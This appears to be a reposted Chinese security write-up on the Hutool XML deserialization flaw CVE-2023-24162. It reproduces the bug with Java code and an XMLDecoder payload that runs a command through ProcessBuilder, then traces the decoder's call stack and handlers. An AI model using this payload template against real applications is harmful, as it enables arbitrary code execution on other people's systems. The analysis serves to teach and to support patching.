漏洞简介
Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。
漏洞复现
我们在 maven 仓库中查找 Hutool
https://mvnrepository.com/search?q=Hutool
把依赖复制出来,添加到项目的 pom.xml 文件中
<!-- https:
//mvnrepository.com/artifact/cn.hutool/hutool-all -->
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>
5.8
.11
</version>
</dependency>
添加完成后刷新一下 maven 依赖
我们编写代码
import
cn.hutool.core.util.XmlUtil;
public
class
Test
{
public
static
void
main
(String[] args) {
XmlUtil.readObjectFromXml(
"<java>n"
+
" <object class="java.lang.ProcessBuilder">n"
+
" <array class="java.lang.String" length="1">n"
+
" <void index="0">n"
+
" <string>calc</string>n"
+
" </void>n"
+
" </array>n"
+
" <void method="start"></void>n"
+
" </object>n"
+
"</java>n"
);
}
}
在项目目录下创建一个 bean.xml
文件,将 xml 放在文件中,构造代码也可以触发
import
cn.hutool.core.util.XmlUtil;
import
java.io.File;
public
class
Test
{
public
static
void
main
(String[] args) {
File
file
=
new
File
(
"bean.xml"
);
XmlUtil.readObjectFromXml(file);
}
}
漏洞分析
整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)
当然这个地方也是可以通过读取文件来实现的
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)
cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)
java.beans.XMLDecoder#readObject
漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml
方法 就可以避免这个漏洞的产生。
漏洞修复
在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml
方法,简单粗暴。
XMLDecoder.readObject
<java>
<object class=
"java.lang.ProcessBuilder"
>
<array class=
"java.lang.String"
length=
"1"
>
<
void
index=
"0"
><string>calc</string></
void
>
</array>
<
void
method=
"start"
></
void
>
</object>
</java>
object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)
array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)
void 标签,method 的值对应着 method 的参数 (start)
最后相当于执行了
new java.lang.ProcessBuilder(new String[]{"calc"}).start();
为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理
java.lang.ProcessBuilder#start
start:
1007
, ProcessBuilder (java.lang)
invoke0:-
1
, NativeMethodAccessorImpl (sun.reflect)
invoke:
62
, NativeMethodAccessorImpl (sun.reflect)
invoke:
43
, DelegatingMethodAccessorImpl (sun.reflect)
invoke:
498
, Method (java.lang.reflect)
invoke:
71
, Trampoline (sun.reflect.misc)
invoke0:-
1
, NativeMethodAccessorImpl (sun.reflect)
invoke:
62
, NativeMethodAccessorImpl (sun.reflect)
invoke:
43
, DelegatingMethodAccessorImpl (sun.reflect)
invoke:
498
, Method (java.lang.reflect)
invoke:
275
, MethodUtil (sun.reflect.misc)
invokeInternal:
292
, Statement (java.beans)
access$
000
:
58
, Statement (java.beans)
run:
185
, Statement$
2
(java.beans)
doPrivileged:-
1
, AccessController (java.security)
invoke:
182
, Statement (java.beans)
getValue:
155
, Expression (java.beans)
getValueObject:
166
, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:
123
, NewElementHandler (com.sun.beans.decoder)
endElement:
169
, ElementHandler (com.sun.beans.decoder)
endElement:
318
, DocumentHandler (com.sun.beans.decoder)
endElement:
609
, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:
1782
, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:
2967
, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:
602
, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:
505
, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:
842
, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:
771
, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:
141
, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:
1213
, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:
643
, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:
327
, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:
375
, DocumentHandler$
1
(com.sun.beans.decoder)
run:
372
, DocumentHandler$
1
(com.sun.beans.decoder)
doPrivileged:-
1
, AccessController (java.security)
doIntersectionPrivilege:
74
, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:
372
, DocumentHandler (com.sun.beans.decoder)
run:
201
, XMLDecoder$
1
(java.beans)
run:
199
, XMLDecoder$
1
(java.beans)
doPrivileged:-
1
, AccessController (java.security)
parsingComplete:
199
, XMLDecoder (java.beans)
readObject:
250
, XMLDecoder (java.beans)
main:
20
, xmldecode (xml)
比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument
开始对 xml 进行解析
先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确
根据 xml 文件的中的标识来识别开始还是结束 <
对应着开始,</
对应着结束
解析时会调用相对应的 Handler 进行处理,Handler 在 DocumentHandler.class
中被定义,通过节点名获取对应的handler
解析到结束标识时会调用到相对应的 Handler 中的 getValueObject
方法 最后实现命令执行(这里描述比较简单,后面根据代码在详细描述)
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument
这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next
com.sun.beans.decoder.DocumentHandler#DocumentHandler
对应的 Handler 是根据节点返回的,最主要的漏洞触发位置应该是endElement
中
com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement
com.sun.beans.decoder.DocumentHandler#endElement
调用 StringElementHandler
对应的 endElement
方法 ,StringElementHandler
没有这个方法,调用其父类 ElementHandler
中 endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.StringElementHandler#getValueObject
最后返回获取到的值是 calc
添加到其父类对应的 Argument
属性
com.sun.beans.decoder.NewElementHandler#addArgument
接着将 handler
指向上一级的 handler
VoidElementHandler
调用 VoidElementHandler
对应的 endElement
方法 ,VoidElementHandler
没有这个方法,调用其父类 ObjectElementHandler
的父类NewElementHandler
的父类 ElementHandler
中 endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
执行完后又有一个 <void method="start"></void>
调试返回的结果
com.sun.beans.decoder.DocumentHandler#endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getContextBean
com.sun.beans.decoder.ElementHandler#getContextBean
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getContextBean
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ElementHandler#getContextBean
com.sun.beans.decoder.NewElementHandler#getContextBean
继续执行,最终触发命令执行
com.sun.beans.decoder.ObjectElementHandler#getValueObject
后一部分很像套娃
整个过程冗长繁琐,建议自己调试分析一下,可能了解的更加清楚。
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全、热点安全研究分析等安全相关
通过审核并发布能收获200-800不等的稿酬
原文始发于微信公众号(合天网安实验室):hutool XML反序列化漏洞(CVE-2023-24162)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论